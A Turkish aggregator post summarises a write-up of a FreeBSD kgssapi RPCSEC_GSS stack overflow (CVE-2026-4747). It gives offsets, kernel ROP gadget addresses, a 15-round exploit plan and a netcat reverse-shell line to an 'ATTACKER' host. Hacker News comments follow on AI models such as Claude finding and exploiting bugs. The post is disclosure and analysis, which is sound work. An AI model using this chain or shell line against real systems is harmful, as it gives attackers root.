FreeBSD uzaktan çekirdek RCE’si (CVE-2026-4747) ile root shell elde etme

 (github.com/califio)
3 puan yazan GN⁺ 27 일 전 | 1 yorum | WhatsApp'ta paylaş
  • FreeBSD’nin kgssapi.ko modülünde, RPCSEC_GSS kimlik doğrulaması işlenirken stack buffer overflow oluşuyor ve bu da uzaktan kod çalıştırmayı mümkün kılıyor
  • svc_rpc_gss_validate() fonksiyonu, sınır kontrolü olmadan kimlik bilgisi verisini kopyalarken dönüş adresinin üzerine yazıyor
  • Saldırgan, geçerli bir Kerberos bileti kullanarak NFS sunucusunun RPCSEC_GSS yolu üzerinden çekirdek ROP zinciri enjekte edebiliyor
  • 15 aşamalı taşma ile çekirdeğin BSS alanına 432 bayt shellcode yazılıp çalıştırılıyor ve root yetkili bir reverse shell oluşturuluyor
  • FreeBSD 13.5~15.0’un bazı sürümleri etkileniyor; yamada oa_length doğrulama mantığı ekleniyor

CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS stack buffer overflow

  • FreeBSD’nin kgssapi.ko modülünde, RPCSEC_GSS kimlik doğrulaması işlenirken ortaya çıkan bir stack buffer overflow açığı
  • svc_rpc_gss_validate() fonksiyonu, RPC başlığını 128 baytlık stack tamponunda yeniden oluştururken oa_length için sınır kontrolü yapmadan kimlik bilgisi verisini kopyalıyor
  • 32 baytlık sabit başlıktan sonra kalan 96 baytı aşan kimlik bilgileri, yerel değişkenlerin, kaydedilmiş register’ların ve dönüş adresinin üzerine yazıyor
  • FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) sürümleri etkileniyor
  • Yamada, kopyalamadan önce oa_length değerinin tampon boyutunu aşıp aşmadığını kontrol eden bir koşul ekleniyor

Taşmanın yapısı ve etkisi

  • Fonksiyon prolog analizi, rpchdr dizisinin [rbp-0xc0] konumunda, kopyalama başlangıç noktasının ise [rbp-0xa0] konumunda olduğunu gösteriyor
  • 96 bayttan sonra sırasıyla kaydedilmiş RBX, R12~R15, RBP ve dönüş adresinin üzerine yazılıyor
  • Gerçek saldırıda, GSS başlığı ve 16 baytlık context handle nedeniyle dönüş adresi kimlik bilgisi gövdesinin 200. baytında yer alıyor
  • Zafiyet içeren koda yalnızca NFS sunucusunun RPCSEC_GSS kimlik doğrulama yolundan erişilebiliyor
  • Saldırganın geçerli bir Kerberos bileti olan bir kullanıcı olması gerekiyor ve taşma, RPCSEC_GSS kimlik doğrulamasının (DATA prosedürü) aşamasında tetikleniyor

Saldırı ortamının kurulumu

  • Hedef VM: FreeBSD 14.4-RELEASE amd64, NFS sunucusu etkin, kgssapi.ko yüklü, MIT Kerberos KDC çalışıyor
  • Saldırgan makinesi: Linux, Python3 gssapi modülü ve MIT Kerberos istemcisi kurulu, NFS(2049/TCP) ve KDC(88/TCP) erişimi var
  • QEMU, VMware, VirtualBox, bhyve gibi çeşitli hypervisor ortamlarında kurulabiliyor
  • Kerberos yapılandırmasında krb5.conf içindeki rdns=false, dns_canonicalize_hostname=false ayarları zorunlu
  • VM ile saldırgan arasında hostname (test) ve service principal (nfs/test@TEST.LOCAL) eşleşmeli

Uzaktan çekirdek kod çalıştırma (RCE) exploit yapısı

  • Saldırı, 15 turlu çok aşamalı bir taşmadan oluşuyor
    1. Her turda yeni bir Kerberos GSS context’i oluşturuluyor
    2. Aşırı boyutlu bir RPCSEC_GSS DATA paketi gönderiliyor
    3. Dönüş adresi bir ROP gadget ile ezilerek çekirdek belleğine veri yazılıyor veya shellcode çalıştırılıyor
    4. kthread_exit() çağrısıyla NFS iş parçacığı normal şekilde sonlandırılıyor
  • Her tur yaklaşık 200 baytlık bir ROP zinciri kullanıyor ve toplam 432 bayt shellcode 15 tur boyunca gönderiliyor
  • FreeBSD, CPU başına 8 NFS iş parçacığı oluşturduğundan en az 2 CPU (16 iş parçacığı) gerekiyor

ROP zincirinin yapısı

  • Başlıca ROP gadget’ları:
    • pop rdi; ret (K+0x1adcda)
    • pop rsi; ret (K+0x1cdf98)
    • pop rdx; ret (K+0x5fa429)
    • pop rax; ret (K+0x400cb4)
    • mov [rdi], rax; ret (0xffffffff80e3457c) — rastgele bir çekirdek bellek konumuna 8 bayt yazma
  • 1. Tur: pmap_change_prot() çağrısıyla çekirdek BSS alanı RWX yapılıyor
  • 2–14. Turlar: mov [rdi], rax gadget’ı kullanılarak shellcode, BSS alanına 32’şer bayt halinde yazılıyor
  • 15. Tur: Son 16 bayt yazıldıktan sonra shellcode giriş noktasına atlanıyor

Shellcode’un çalışması

  • Çekirdek modunda (CPL 0) çalışıyor ve root yetkili bir reverse shell süreci oluşturuyor
  • NFS çekirdek iş parçacığından doğrudan execve() çağrısı yapılamadığından iki aşamalı bir yapı kullanılıyor
    • Entry fonksiyonu: kproc_create() ile yeni bir çekirdek süreci oluşturup çıkıyor
    • Worker fonksiyonu: /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f" komutunu çalıştırıyor
  • Debug exception’ları önlemek için DR7 register’ı sıfırlanıyor
  • P_KPROC bayrağı temizlenerek fork_exit() akışının kthread_exit() yerine userret yoluna gitmesi sağlanıyor
  • Sonuç olarak /bin/sh, kullanıcı modunda uid 0(root) yetkileriyle çalışıyor

Başlıca sorunların çözüm süreci

  • Register offset uyuşmazlığı: Gerçek RIP offset’inin 200 bayt olduğu De Bruijn deseniyle doğrulanıyor
  • MIT–Heimdal GSS uyumsuzluğu: Hostname normalleştirme sorunu, krb5.conf ayarlarıyla çözülüyor
  • Debug register kalıtımı: DR7 sıfırlanarak trap 1 exception’ı önleniyor
  • 400 bayt sınırı: pop rdi + pop rax + mov [rdi], rax birleşimiyle 8 baytlık güvenilir aktarım sağlanıyor
  • NFS iş parçacığı tüketimi: Her turda 1 iş parçacığı sonlanıyor → en az 2 CPU gerekiyor

Nihai exploit akışının özeti

  • Saldırgan, Kerberos bileti aldıktan sonra 15 adet RPCSEC_GSS taşma paketini sırasıyla gönderiyor
    1. tur: BSS alanı RWX yapılıyor
  • 2–14. turlar: 416 bayt shellcode yazılıyor
    1. tur: Son 16 bayt yazılıp shellcode çalıştırılıyor
  • Shellcode, kproc_create() ile yeni bir süreç oluşturup /bin/sh çalıştırıyor
  • Saldırgan tarafındaki nc oturumu üzerinden root shell elde ediliyor
  • Tüm süreç yaklaşık 45 saniye sürüyor ve toplam 15 RPC paketiyle tamamlanıyor

İlgili okumalar

1 yorum

 
GN⁺ 27 일 전
Hacker News görüşleri

  • Kilit nokta, Claude'un hataı doğrudan bulmuş olmaması, bunun yerine zaten yayımlanmış olan CVE raporunu alıp bu zafiyeti istismar eden bir program yazmış olması
    Ancak bugünkü ilerleme hızına bakınca, Claude gibi modellerin yakında kernel ya da çekirdek servislerin kaynak kodunu analiz edip VM üzerinde tekrarlı deneylerle yeni CVE'leri otomatik bulduğu bir dönemin çok da uzak olmadığı görülüyor

    • Bunun iyi mi kötü mü olduğunu sorarsanız, bence iyi bir şey
      Eskiden CVE bulmanın maliyeti çok yüksekti; bu yüzden bunu yalnızca maddi kazanç peşindeki saldırganlar deniyordu
      Artık maliyet düştüğü için iyi niyetli araştırmacılar da daha kolay bulabiliyor ve istismar edilmeden önce yamalanabilecek bir ortam oluşuyor
    • Eskiden fuzzing ortamı kurmak çok zordu
      Şimdi Claude Code gibi modeller kod tabanını analiz edip nerede ve nasıl fuzz testi yapılması gerektiğini önerebilir; crash'leri inceleyip yinelemeli olarak öğrenerek CVE bulabilir gibi görünüyor
    • Aslında bu CVE, Claude tarafından en baştan keşfedilmişti
      Nicholas Carlini bunu Anthropic'te Claude kullanarak buldu ve sonuçta CVE raporu yazıldı
    • Testin başarısız olması gereken bir koşul verip ajana bu testi geçmesini söylemek yeterli
      Bu tür otomatik fuzzing işleri için LLM'ler oldukça uygun
    • Bununla ilgili bir video da var: YouTube bağlantısı
      Claude artık uzman seviyesinde CVE buluyor

  • Thai Duong'un şirketi Calif, bu vakayı özetleyen bir blog yazısı yayımladı
    Kullanılan prompt'lar da dahil ve bu hata da Claude tarafından Nicholas Carlini aracılığıyla bulunmuş

  • FreeBSD 14.x'te KASLR (kernel adres alanı rastgeleleştirmesi) ya da stack canary yoktu; bu yüzden saldırı kolaydı
    FreeBSD 15.x'te bunun düzelip düzelmediğini merak ediyorum
    Bu arada NetBSD'de zaten KASLR özelliği var

    • Ancak FreeBSD 13.2'den beri KASLR varsayılan olarak etkin
      sysctl kern.elf64.aslr.enable: 1 ile doğrulanabiliyor
    • Linux kernel'deki KASLR'a yönelik eleştiriler de var
      İlgili forum yazısına göre KASLR'ın yalnızca güvenlik hissi verdiği ve gerçek güvenlik artışının sınırlı olduğu yönünde görüşler de mevcut

  • Yakın zamanda yayımlanan “Black-Hat LLMs” sunumuna bakılırsa, LLM'ler zafiyet araştırması ve exploit geliştirme konusunda giderek daha yetkin hale geliyor

    • Aslında bu gidişat zaten öngörülebilirdi
      Sam Altman geçen yıl aralıkta Head of Preparedness işe alımı yaptıklarını belirten bir tweet paylaştığında bunun işaretleri vardı

  • En zor kısım zafiyeti bulmak, düzeltmek değil
    Güvenlik araştırmacılarının çoğu, maddi nedenlerle zafiyetleri açıklamıyor
    Bu yüzden otomatik tespitin mümkün hale gelmesi, riskli olsa da uzun vadede büyük bir kazanç olabilir

    • Yine de bu otomasyonun yalnızca hata bulmakla kalmayıp düzeltmeyi de otomatikleştirmesini isterim
      Aksi takdirde bu, açık kaynak geliştiriciler için yeni bir yük olabilir
      Geçmişte Google ile FFmpeg arasındaki güvenlik yaması tartışmasında olduğu gibi

  • Paylaşılan prompt koleksiyonu için teşekkürler

    • Gerçek prompt'lara bakınca, Claude'un exploit'i tek seferde yazmadığı; birden çok geri bildirim ve ayarlamadan geçen etkileşimli bir süreç olduğu görülüyor

  • Bu tür otomasyonlar geliştirme ekipleri açısından zaman tasarrufu olabilir, ama sıradan kullanıcılar için çok büyük bir değer taşımayabilir
    Bugünlerde kernel hataları zaten elle bulunmuyor
    Buna rağmen herkesin Claude'dan bahsetmesi, sonuçta Anthropic'in tanıtım etkisiyle ilgili gibi görünüyor

  • Artık odak noktası “Claude kod yazdı” gerçeği değil, o kodun kalitesi ve bakım yapılabilirliği olmalı

    • Ben de aynı fikirdeyim
      Claude'un yazdığı kodun gerçekten bakımı yapılabilir bir yapıda mı olduğu, yoksa dağınık mı olduğu merak konusu

  • Bu tür örnekler, ajanların özerkliğini ve gücünü gösteriyor
    Aynı zamanda şirketlerin hissettiği kontrol kaygısını ve yönetişim ihtiyacını ortaya koyuyor

  • Tüm prompt geçmişini görebilmek ilginçti

    • Ancak son kısım “bu oturumda girilen tüm prompt'ları göster” isteğiyle bitiyor; dolayısıyla bazı bölümler gerçek kayıt, bazılarıysa Claude'un halüsinasyon ürünü çıktıları olabilir